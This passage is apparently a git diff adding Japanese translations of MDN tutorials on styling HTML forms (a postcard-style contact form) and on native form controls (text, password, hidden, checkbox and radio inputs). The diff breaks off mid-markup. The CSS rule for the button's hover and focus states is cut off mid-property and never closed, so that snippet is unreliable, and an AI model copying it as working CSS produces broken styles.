CSS を使います(簡単のため他の宣言は削除しています):</p> + +<pre class="brush: css notranslate">fieldset { + position: relative; +} + +legend { + position: absolute; + bottom: 0; + right: 0; +}</pre> + +<p><code><fieldset></code> も配置される必要があり、<code><legend></code> がそれに合わせて位置が決まるように (そうでなければ <code><legend></code> は <code><body></code>に合わせて位置決めされます)</p> + +<p>{{HTMLElement("legend")}} 要素はアクセシビリティのためとても重要です — これはアシスト技術により fieldset 内の各フォーム要素のラベルとして話されます — が、上のようなテクニックの使用は良いです。legend コンテンツは同じ方法で話されます; 単に見た目の位置が変更されます。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: <code><legend></code>の位置決めに役立つ{{cssxref("transform")}}プロパティも使用できますが、例えばa <code>transform: translateY();</code>を使って配置するとき、移動はするものの <code><fieldset></code> の枠に劣悪なギャップができて、除去が困難です。</p> +</div> + +<h2 id="A_specific_styling_example" name="A_specific_styling_example">特定のスタイル設定の例</h2> + +<p>HTML フォームにスタイルを設定する方法の具体例を見ていきましょう。以下のような "はがき" 風の連絡フォームを作成します。<a href="https://mdn.github.io/learning-area/html/forms/postcard-example/">完成バージョンはこちら</a>。</p> + +<p>この例に従うには、<a href="https://github.com/mdn/learning-area/blob/master/html/forms/postcard-example/postcard-start.html">postcard-start.html ファイル</a>をコピーして、次のやり方に従ってください。</p> + +<h3 id="The_HTML" name="The_HTML">HTML</h3> + +<p>HTML は、<a href="/ja/docs/HTML/Forms/My_first_HTML_form" title="HTML/Forms/My_first_HTML_form">ガイドの最初の記事</a>で使用したものより少しだけ複雑です。いくつか ID やタイトルを追加しています。</p> + +<pre class="brush: html notranslate"><form> + <h1>to: Mozilla</h1> + + <div id="from"> + <label for="name">from:</label> + <input type="text" id="name" name="user_name"> + </div> + + <div id="reply"> + <label for="mail">reply:</label> + <input type="email" id="mail" name="user_email"> + </div> + + <div id="message"> + <label for="msg">Your message:</label> + <textarea id="msg" name="user_message"></textarea> + </div> + + <div class="button"> + <button type="submit">Send your message</button> + </div> +</form></pre> + +<p>上記のコードを HTML の body に追加します。</p> + +<h3 id="Organizing_your_assets" name="Organizing_your_assets">Organizing your assets</h3> + +<p>ここからがおもしろいところです! コードを書き始める前に、ここでは 3 つの追加要素が必要です:</p> + +<ol> + <li>はがきの<a href="https://developer.mozilla.org/files/4151/background.jpg" title="The postcard background">背景</a> — この画像をダウンロードして作業している HTML ファイルと同じディレクトリーに保存します。</li> + <li>タイプライター風フォント: <a href="http://www.fontsquirrel.com/fonts/Secret-Typewriter" rel="external" title="http://www.fontsquirrel.com/fonts/Secret-Typewriter">fontsquirrel.com の "Secret Typewriter" </a> — TTF ファイルを上記と同じディレクトリーにダウンロードします。</li> + <li>手書き風フォント: <a href="http://www.fontsquirrel.com/fonts/Journal" rel="external" title="http://www.fontsquirrel.com/fonts/Journal">fontsquirrel.com の "Journal" </a> — TTF ファイルを上記と同じディレクトリーにダウンロードします。</li> +</ol> + +<p>始める前にフォントの処理が必要です:</p> + +<ol> + <li>fontsquirrel <a href="https://www.fontsquirrel.com/tools/webfont-generator">Webfont Generator</a> に移動します。</li> + <li>フォームを使って、両方のフォントファイルをアップロードして webfont キットを生成します。キットをコンピューターにダウンロードします。</li> + <li>zip ファイルを展開します。</li> + <li>展開した中身には 2 つの <code>.woff</code> ファイルと 2 つの <code>.woff2</code> ファイルがあります。このファイルを、前と同じ fonts というディレクトリーにコピーします。各フォントの 2 つのファイルはブラウザー互換性を最大化するのに使います; より詳しい情報は <a href="https://developer.mozilla.org/ja/docs/Learn/CSS/Styling_text/Web_fonts">Web fonts</a> の記事を見てください。</li> +</ol> + +<h3 id="The_CSS" name="The_CSS">CSS</h3> + +<p>ここから例の CSS を見ていきましょう。{{htmlelement("style")}} 要素の中にすべてのコードブロックを一つ一つ追加します。</p> + +<h4 id="Overall_layout" name="Overall_layout">全体レイアウト</h4> + +<p>まず、{{cssxref("@font-face")}} ルールと、すべての{{HTMLElement("body")}} と {{HTMLElement("form")}} 要素に設定するスタイルを定義して準備します。fontsquirrel 出力が上記で述べたものと異なる場合、<code>stylesheet.css</code> ファイル内にダウンロード済みの webfont キットの中から正しい <code>@font-face</code> ブロックを見つけることができます(下記の <code>@font-face</code> ブロックをそれで置換し、パスをフォントファイルのものに更新する必要があります):</p> + +<pre class="brush: css notranslate">@font-face { + font-family: 'handwriting'; + src: url('fonts/journal-webfont.woff2') format('woff2'), + url('fonts/journal-webfont.woff') format('woff'); + font-weight: normal; + font-style: normal; +} + +@font-face { + font-family: 'typewriter'; + src: url('fonts/veteran_typewriter-webfont.woff2') format('woff2'), + url('fonts/veteran_typewriter-webfont.woff') format('woff'); + font-weight: normal; + font-style: normal; +} + +body { + font : 1.3rem sans-serif; + padding : 0.5em; + margin : 0; + background : #222; +} + +form { + position : relative; + width : 740px; + height : 498px; + margin : 0 auto; + padding: 1em; + box-sizing: border-box; + background : #FFF url(background.jpg); + + /* we create our grid */ + display : grid; + grid-gap : 20px; + grid-template-columns : repeat(2, 1fr); + grid-template-rows : 10em 1em 1em 1em; +}</pre> + +<p>注意として、フォームをレイアウトするのに <a href="https://wiki.developer.mozilla.org/ja/docs/Web/CSS/CSS_Grid_Layout">CSS Grid</a> と <a href="https://wiki.developer.mozilla.org/ja/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a> を使っています。これで、タイトルやフォーム要素といった各要素を配置できます:</p> + +<pre class="brush: css notranslate">h1 { + font : 1em "typewriter", monospace; + align-self : end; +} + +#message { + grid-row: 1 / 5; +} + +#from, #reply { + display: flex; +}</pre> + +<h4 id="Labels_and_controls" name="Labels_and_controls">ラベルとコントロール</h4> + +<p>そして、フォーム要素自体に対するスタイル設定を始めます。まずは、{{HTMLElement("label")}} に適切なフォントを割り当てましょう。</p> + +<pre class="brush: css notranslate">label { + font : .8em "typewriter", sans-serif; +}</pre> + +<p>テキストフィールドには、共通のルールがいくつか必要です。{{cssxref("border")}} や {{cssxref("background")}} の削除と {{cssxref("padding")}} や {{cssxref("margin")}} の再定義を行います。</p> + +<pre class="brush: css notranslate">input, textarea { + font : 1.4em/1.5em "handwriting", cursive, sans-serif; + border : none; + padding : 0 10px; + margin : 0; + width : 80%; + background : none; +}</pre> + +<p>これらフィールドのひとつがフォーカスを得たときに、ライトグレー色で透過する背景で強調します。一部のブラウザーで付加されるデフォルトのフォーカス強調を取り除くため、{{cssxref("outline")}} プロパティを追加することが重要ですので注意してください。</p> + +<pre class="brush: css notranslate">input:focus, textarea:focus { + background : rgba(0,0,0,.1); + border-radius: 5px; +}</pre> + +<p>テキストフィールドのスタイル設定が完了して、次は単一行および複数行のテキストフィールドの表示が同じになるよう調整しなければなりません。これは、一般的にこれらのデフォルト表示が同じでないためです。</p> + +<h4 id="Tweaking_the_textareas" name="Tweaking_the_textareas">Tweaking the textareas</h4> + +<p>{{HTMLElement("textarea")}} 要素はデフォルトでブロック要素としてレンダリングされるようにします。ここで重要なことは、{{cssxref("resize")}} プロパティと {{cssxref("overflow")}} プロパティの 2 つです。ここでは固定サイズでデザインしているため、ユーザーが複数行のテキストフィールドをリサイズできないように <code>resize</code> プロパティを使用します。{{cssxref("overflow")}} プロパティは、ブラウザー間でのフィールドの一貫性を向上させるために使用します。これのデフォルト値が <code>auto</code> であるブラウザーと <code>scroll</code> であるブラウザーが存在します。この例では、すべてのブラウザーが <code>auto</code> になるようにするのがよいでしょう。</p> + +<pre class="brush: css notranslate">textarea { + display : block; + + padding : 10px; + margin : 10px 0 0 -10px; + width : 100%; + height : 90%; + + border-right: 1px solid; + + /* resize : none; */ + overflow: auto; +}</pre> + +<h4 id="Styling_the_submit_button" name="Styling_the_submit_button">送信ボタンにスタイル設定する</h4> + +<p>{{HTMLElement("button")}} 要素は、CSS によってより便利になります。<a href="/ja/docs/CSS/Pseudo-elements" title="CSS/Pseudo-elements">疑似要素</a>を含めて、行いたいことが何でもできます!</p> + +<pre class="brush: css notranslate">button { + padding : 5px; + font : bold .6em sans-serif; + border : 2px solid #333; + border-radius: 5px; + background : none; + cursor : pointer; + transform : rotate(-1.5deg); +} + +button:after { + content : " >>>"; +} + +button:hover, +button:focus { + outline : none; + background : #000; + co</pre> + +<h3 id="The_final_result" name="The_final_result">最終結果</h3> + +<p>これでよし! フォームは次のようになるでしょう:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/17063/updated-form-screenshot.jpg" style="border-style: solid; border-width: 1px; height: 497px; width: 740px;"></p> + +<div class="note"> +<p><strong>注</strong>: 例が期待どおり動かず、われわれのバージョンを確認したい場合、GitHub にあります — <a href="https://mdn.github.io/learning-area/html/forms/postcard-example/">ライブ版</a>を見てください (<a href="https://github.com/mdn/learning-area/tree/master/html/forms/postcard-example">ソースコード</a>も見てください)。</p> +</div> + +<h2 id="スキルを試しましょう！"><strong>スキルを試しましょう！</strong></h2> + +<p>この記事の終わりまで到達しました。しかし、肝要な点を思い起こせるでしょうか？次に進む前に、テストによって知識の定着を試すことができます——<a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Forms/Test_your_skills:_Styling_basics">スキルテスト：スタイリングの基本</a>をご覧ください。</p> + +<h2 id="Conclusion" name="Conclusion">まとめ</h2> + +<p>ご覧いただいたとおり、テキストフィールドとボタンだけでフォームを作成する限りでは、CSS を使用したスタイル設定は容易です。<a href="/ja/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms" title="Advanced_styling_for_HTML_forms">次の記事では</a>、"不良" や "劣悪" カテゴリに入っているウィジェットの扱い方を見ていきます。</p> + +<p>{{PreviousMenuNext("Learn/Forms/Other_form_controls","Learn/Forms/Advanced_form_styling","Learn/Forms")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<h2 id="In_this_module" name="In_this_module"><a class="button section-edit only-icon" href="https://wiki.developer.mozilla.org/ja/docs/Learn/HTML/Forms/Other_form_controls$edit#In_this_module" rel="nofollow, noindex"><span>E</span></a></h2> + +<ul> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Your_first_form">初めてのフォーム</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/How_to_structure_a_web_form">フォームの構築方法</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Basic_native_form_controls">ネイティブフォームウィジェット</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/HTML5_input_types" rel="noopener">The HTML5 input types</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Other_form_controls" rel="noopener">Other form controls</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Styling_web_forms">フォームへのスタイル設定</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Advanced_form_styling">フォームへの高度なスタイル設定</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/UI_pseudo-classes" rel="noopener">UI pseudo-classes</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Form_validation">フォームデータの検証</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">フォームデータの送信</a></li> +</ul> + +<h3 class="highlight-spanned" id="Advanced_Topics" name="Advanced_Topics"><span class="highlight-span">上級トピック</span></h3> + +<h3 class="highlight-spanned" id="Advanced_Topics" name="Advanced_Topics"><a class="local-anchor" href="https://wiki.developer.mozilla.org/ja/docs/Learn/HTML/Forms/Other_form_controls#Advanced_Topics"><span>セクション</span></a></h3> + +<ul> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/How_to_build_custom_form_controls" rel="noopener">カスタムフォームコントロールの作成方法</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Sending_forms_through_JavaScript" rel="noopener">JavaScript によるフォームの送信</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Property_compatibility_table_for_form_widgets" rel="noopener">フォームウィジェット向けプロパティ実装状況一覧</a></li> +</ul> diff --git a/files/ja/learn/forms/the_native_form_widgets/index.html b/files/ja/learn/forms/the_native_form_widgets/index.html new file mode 100644 index 0000000000..f0ddcdc09d --- /dev/null +++ b/files/ja/learn/forms/the_native_form_widgets/index.html @@ -0,0 +1,339 @@ +--- +title: 基本的なネイティブフォームコントロール +slug: Learn/Forms/The_native_form_widgets +tags: + - Example + - Forms + - Guide + - HTML + - Intermediate + - Web +translation_of: Learn/Forms/Basic_native_form_controls +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Forms/How_to_structure_a_web_form", "Learn/Forms/HTML5_input_types", "Learn/Forms")}}</div> + +<p class="summary"><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/How_to_structure_a_web_form">直前の記事</a>では、機能的なウェブフォームの例をマークアップし、いくつかのフォームコントロールとよくある構造要素を導入し、アクセシビリティのベストプラクティスを見てきました。次にさまざまなフォームコントロールやウィジェットの機能を詳しく見ていきます — 色々な種類のデータを集めるのにどんなオプションが使えるのかを見ていきます。とりわけこの記事では、ウェブの初期からある全てのブラウザーで利用できる、オリジナルのフォームコントロールを見ていきます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシーと、基本的な <a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Introduction_to_HTML">HTML の理解</a>。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>データを収集するためにブラウザーで使用できるネイティブフォームウィジェットの種類と、それらを HTML を使用して実装する方法を理解する。</td> + </tr> + </tbody> +</table> + +<p>{{HTMLelement('form')}}, {{HTMLelement('fieldset')}}, {{HTMLelement('legend')}}, {{HTMLelement('textarea')}}, {{HTMLelement('label')}}, {{HTMLelement('button')}}, {{HTMLelement('input')}}といったフォーム要素については既に見てきました。この記事では次を網羅します:</p> + +<ul> + <li>{{HTMLelement('input/button', 'button')}}, {{HTMLelement('input/checkbox', 'checkbox')}}, {{HTMLelement('input/file', 'file')}}, {{HTMLelement('input/hidden', 'hidden')}}, {{HTMLelement('input/image', 'image')}}, {{HTMLelement('input/password', 'password')}}, {{HTMLelement('input/radio', 'radio')}}, {{HTMLelement('input/reset', 'reset')}}, {{HTMLelement('input/submit', 'submit')}}, and {{HTMLelement('input/text', 'text')}}といったよくある入力タイプ</li> + <li>すべてのフォームコントロールに共通する属性のいくつか</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: この記事で説明されている機能のほとんどは、ブラウザー間で幅広くサポートされています。これに対する例外に注意しましょう。より正確な詳細が必要な場合は、<a href="/ja/docs/Web/HTML/Element#Forms">HTML フォーム要素のリファレンス</a>、特に広範囲にわたる <a href="/ja/docs/Web/HTML/Element/input"><input> 型</a>の参照を参照してください。</p> +</div> + +<h2 id="Text_input_fields" name="Text_input_fields">テキスト入力フィールド</h2> + +<p>テキスト {{htmlelement("input", "入力")}} フィールドは最も基本的なフォームウィジェットです。これらはユーザーがあらゆる種類のデータを入力できるとても便利な方法です。</p> + +<div class="note"> +<p><strong>注</strong>: HTML フォームのテキストフィールドは単純なプレーンテキストの入力コントロールです。つまり、これらを使って<a href="/ja/docs/Web/Guide/HTML/Editable_content/Rich-Text_Editing_in_Mozilla">リッチエディット</a> (太字、斜体など) を実行することはできません。見かけるすべてのリッチテキストエディタは、HTML、CSS、および JavaScript で作成されたカスタムウィジェットです。</p> +</div> + +<p>すべてのテキストフィールドに共通する動作があります:</p> + +<ul> + <li>{{htmlattrxref("readonly","input")}} (ユーザーは入力値を変更できないが他のフォーム値とともに送信される) あるいは {{htmlattrxref("disabled","input")}} (入力値は編集できず、値も他のフォームデータとともに送られません) とすることができます。</li> + <li>{{htmlattrxref("placeholder","input")}} を設定することができます。これは、ボックスの目的を簡単に説明する、ボックス内に表示されるテキストです。</li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/size"><code>size</code></a> (ボックスの物理的なサイズ) や <a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/maxlength"><code>maxlength</code></a> (ボックスに入力できる最大文字数) による制限が可能です。</li> + <li>ブラウザーがサポートしていれば、(<a href="/ja/docs/Web/HTML/Global_attributes/spellcheck"><code>spellcheck</code></a>属性を用いて) <a href="/ja/docs/Web/HTML/Element/Input#attr-spellcheck" title="HTML/Element/input#attr-spellcheck">スペルチェック</a>の恩恵を受けられます。</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: {{htmlelement("input")}} 要素は、<code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/type">type</a></code> 属性によってさまざまなフォームとなるため、、HTML要素の中でも特別です。単一行のテキストフィールド、テキスト入力のないコントロール、時間と日付のコントロール、チェックボックス、カラーピッカー、ボタンといったテキスト入力のないコントロールなど、ほとんどのタイプのフォームウィジェットの作成に使用されます。</p> +</div> + +<h3 id="Single_line_text_fields" name="Single_line_text_fields">単一行のテキストフィールド</h3> + +<p>単一行のテキストフィールドは、{{htmlattrxref("type","input")}} 属性値が <code>text</code> に設定されている {{HTMLElement("input")}} 要素を使用するか、{{htmlattrxref("type","input")}} 属性を指定しない場合( <code>text</code> がデフォルト値になり)に作成されます。{{htmlattrxref("type","input")}} 属性に指定した値がブラウザーに認識されない場合 (たとえば <code>type="color"</code> を指定してブラウザーがネイティブの色ピッカーをサポートしていない場合)、この属性の値のテキストは代替値になります。</p> + +<div class="note"> +<p><strong>注</strong>: GitHub の <a href="https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/single-line-text-fields.html">single-line-text-fields.html</a> に、すべての単一行テキストフィールドタイプの例があります (<a href="https://mdn.github.io/learning-area/html/forms/native-form-widgets/single-line-text-fields.html">こちらも参照してください</a>)。</p> +</div> + +<p>これは基本的な単一行のテキストフィールドの例です。</p> + +<pre class="brush: html line-numbers language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>comment<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>comment<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>I<span class="punctuation token">'</span>m a text field<span class="punctuation token">"</span></span><span class="punctuation token">></span></span></code></pre> + +<p>単一行のテキストフィールドは、ひとつだけ厳密な制約があります: 改行を含むテキストを入力した場合、ブラウザーはデータを送信する前に改行を取り除きます。</p> + +<p><em>下記のスクリーンショットは macOS での Firefox 71 と Safari と Windows 10 の Chrome 79 と Edge 18 にて、既定の、フォーカスされた、無効にされたテキスト入力を示しています。</em></p> + +<p><img alt="Screenshot of the disabled attribute and default :focus styles on a text input in Firefox, Safari, Chrome and Edge." src="https://mdn.mozillademos.org/files/17021/disabled.png" style="height: 113px; width: 442px;"></p> + +<div class="blockIndicator note"> +<p>HTML5 では {{htmlattrxref("type","input")}} 属性に専用の値を追加することで、基本的な単一行のテキストフィールドを拡張しています。これらの値もやはり {{HTMLElement("input")}} 要素を単一行のテキストフィールドにしますが、フィールドに対して追加の制約や機能を付加します。</p> +</div> + +<h4 id="Password_field" name="Password_field">パスワードフィールド</h4> + +<p>このタイプのフィールドは、{{htmlattrxref("type","input")}} 属性の値 <code>password</code> を使用して設定できます:</p> + +<pre class="brush: html line-numbers language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>password<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pwd<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pwd<span class="punctuation token">"</span></span><span class="punctuation token">></span></span></code></pre> + +<p><code>password</code> の値は入力したテキストに対する特別な制約は付加しませんが、フィールドの値を隠します(例、ドットやアスタリスク)ので読むことができません。</p> + +<p>これはユーザーインターフェイスの機能でしかないことに注意してください。テキストは JavaScript を使用してあなた自身でエンコードしなければ、平文で送信されてしまい、セキュリティには良くありません — 悪い組織がデータを遮ってパスワードや、クレジットカードデータや、送信したあらゆるものを盗むことがあります。ユーザーからこれを保護するためにはフォームを含むあらゆるページをセキュア通信でホストし (つまり <code>https://</code> ... アドレスにて) 、データ送信前に暗号化することです。</p> + +<p>最近のブラウザーは、安全でない接続を介してフォームデータを送信することによるセキュリティへの影響を認識しており、ユーザーが安全でないフォームを使用しないように警告を実装しています。Firefox が実装しているものの詳細については、<a href="/ja/docs/Web/Security/Insecure_passwords">安全でないパスワード</a>をご覧ください。</p> + +<h3 id="Hidden_content" name="Hidden_content">隠しコンテンツ</h3> + +<p>もう１つのオリジナルなテキストコントロールは <code>hidden</code> 入力タイプです。これは他のフォームデータとともにサーバー送信されるがユーザーからは見えないデータを持つのに使われています — 例えば命令を発行するときにサーバーにタイムスタンプを送りたい場合。これは隠れているので、ユーザーが見ることも、意図せずに値を編集することもなく、フォーカスを得ることもないしスクリーンリーダーが気づくこともありません。</p> + +<pre class="brush: html notranslate"><input type="hidden" id="timestamp" name="timestamp" value="1286705410"> +</pre> + +<p>このような要素を作成する場合は、<code>name</code> 属性と <code>value</code> 属性の設定が必要です。この値は JavaScript にて動的にセットできます。<code>hidden</code> 入力タイプには関連したラベルはありません。</p> + +<p>その他のテキストタイプ、{{HTMLElement("input/search", "search")}}, {{HTMLElement("input/url", "url")}}, と{{HTMLElement("input/tel", "tel")}}, は HTML5 で追加されました。これは次のチュートリアルの「HTML5 入力タイプ」にて網羅されます。</p> + +<h2 id="Checkable_items" name="Checkable_items">チェック可能アイテム:チェックボックスとラジオボタン</h2> + +<p>チェック可能アイテムは、そのものや、関連したラベルをクリックすることで状態を変更できるコントロールです。チェック可能アイテムは 2 種類あります: チェックボックスとラジオボタンです。どちらもデフォルトでチェックするかを示すために、<a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes//checked"><code>checked</code></a> 属性を使用します。</p> + +<p>これらのウィジェットは、他のフォームウィジェットと同じようには動作しない点が特筆されます。ほとんどのフォームウィジェットではフォームを送信すると、<a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/name"><code>name</code></a> 属性を持つすべてのウィジェットは値がなくても送信します。チェック可能アイテムでは、それらがチェックされている場合にのみ値を送信します。チェックされていない場合は、name も含めて何も送信しません。チェックされているが値がない場合、name が <em>on</em> という値で送信されます。</p> + +<div class="note"> +<p><strong>注</strong>: このセクションの例は、<a href="https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/checkable-items.html">checkable-items.html</a> として GitHub にあります (<a href="https://mdn.github.io/learning-area/html/forms/native-form-widgets/checkable-items.html">こちらも参照してください</a>)。</p> +</div> + +<p>最大限のユーザービリティ/アクセシビリティを実現するために、関連項目の各リストを {{htmlelement("fieldset")}} で囲み、リストの全体的な説明を示す {{htmlelement("legend")}} で囲むことをお勧めします。{{htmlelement("label")}}/{{htmlelement("input")}} 要素の個々のペアは、それぞれ独自のリスト項目 (または同様のもの) に含める必要があります。関連した {{htmlelement('label')}} はラジオボタンやチェックボックスの直後に、{{htmlelement("legend")}}の中身にラジオボタンやチェックボックスのグループの説明が置かれます。これは上の例に示されています。</p> + +<h3 id="Check_box" name="Check_box">チェックボックス</h3> + +<p>チェックボックスは、<a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/type"><code>type</code></a> 属性を {{HTMLElement("input/checkbox", "checkbox")}} に設定した {{HTMLElement("input")}} 要素で作成します。</p> + +<pre class="brush: html line-numbers language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>checkbox<span class="punctuation token">"</span></span> <span class="attr-name token">checked</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>carrots<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>carrots<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>carrots<span class="punctuation token">"</span></span><span class="punctuation token">></span></span></code></pre> + +<p><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/checked">checked</a></code> 属性を含んだチェックボックスはページ読み込み時に自動的にチェックされます。チェックボックスまたはその関連ラベルをチェックするとチェックボックスのオン/オフがトグルされます。</p> + +<p>下記のスクリーンショットは macOS での Firefox 71 と Safari と Windows 10 の Chrome 79 と Edge 18 にて、既定の、フォーカスされた、無効にされたチェックボックスを示しています。</p> + +<p><img alt="Default, focused and disabled Checkboxes in Firefox 71 and Safari 13 on Mac and Chrome 79 and Edge 18 on Windows 10" src="https://mdn.mozillademos.org/files/17024/checkboxes.png" style="height: 203px; width: 293px;"></p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: <code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/checked">checked</a></code> 属性のあるあらゆるチェックボックスやラジオボタンには、チェックされていない場合でも、対応する {{cssxref('<code>:default')}}</code> 仮想クラスがあります。現在チェックされているものには<code>{{cssxref(':checked')}}</code> 仮想クラスがあります。</p> +</div> + +<p id="Radio_button">チェックボックスのオンオフ性質により、チェックボックスは、規定のチェックボックスを拡張してトグルスイッチのように見えるボタンを作っている開発者やデザイナーにとって、トグルボタンとして考えられます。<a href="https://mdn.github.io/learning-area/html/forms/toggle-switch-example/">ここで動作する例を</a> 見ることができます(<a href="https://github.com/mdn/learning-area/blob/master/html/forms/toggle-switch-example/index.html">ソースコード</a>も見られます)。</p> + +<h3 id="Radio_button" name="Radio_button">ラジオボタン</h3> + +<p>ラジオボタンは、{{htmlattrxref("type","input")}} 属性を <code>radio</code> に設定した {{HTMLElement("input")}} 要素で作成します。</p> + +<pre class="brush: html line-numbers language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>radio<span class="punctuation token">"</span></span> <span class="attr-name token">checked</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>soup<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>meal<span class="punctuation token">"</span></span><span class="punctuation token">></span></span></code></pre> + +<p>いくつかのラジオボタンをまとめることができます。{{htmlattrxref("name","input")}} 属性で同じ値を共有すると、それらのラジオボタンは同じボタングループに属するとみなされます。グループ内でボタンは同時に 1 つだけチェックできます。つまり、あるラジオボタンをチェックすると、他のラジオボタンは自動的にチェックが外れます。フォームを送信するときは、チェックしているラジオボタンのみの値を送信します。何もチェックしていない場合はラジオボタンの集まり全体が未知の状態であるとみなし、フォーム送信時は値を送信しません。</p> + +<pre class="brush: html line-numbers language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>fieldset</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>legend</span><span class="punctuation token">></span></span>What is your favorite meal?<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>legend</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>ul</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>li</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>soup<span class="punctuation token">"</span></span><span class="punctuation token">></span></span>Soup<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>label</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>radio<span class="punctuation token">"</span></span> <span class="attr-name token">checked</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>soup<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>meal<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>soup<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>li</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>li</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>curry<span class="punctuation token">"</span></span><span class="punctuation token">></span></span>Curry<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>label</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>radio<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation 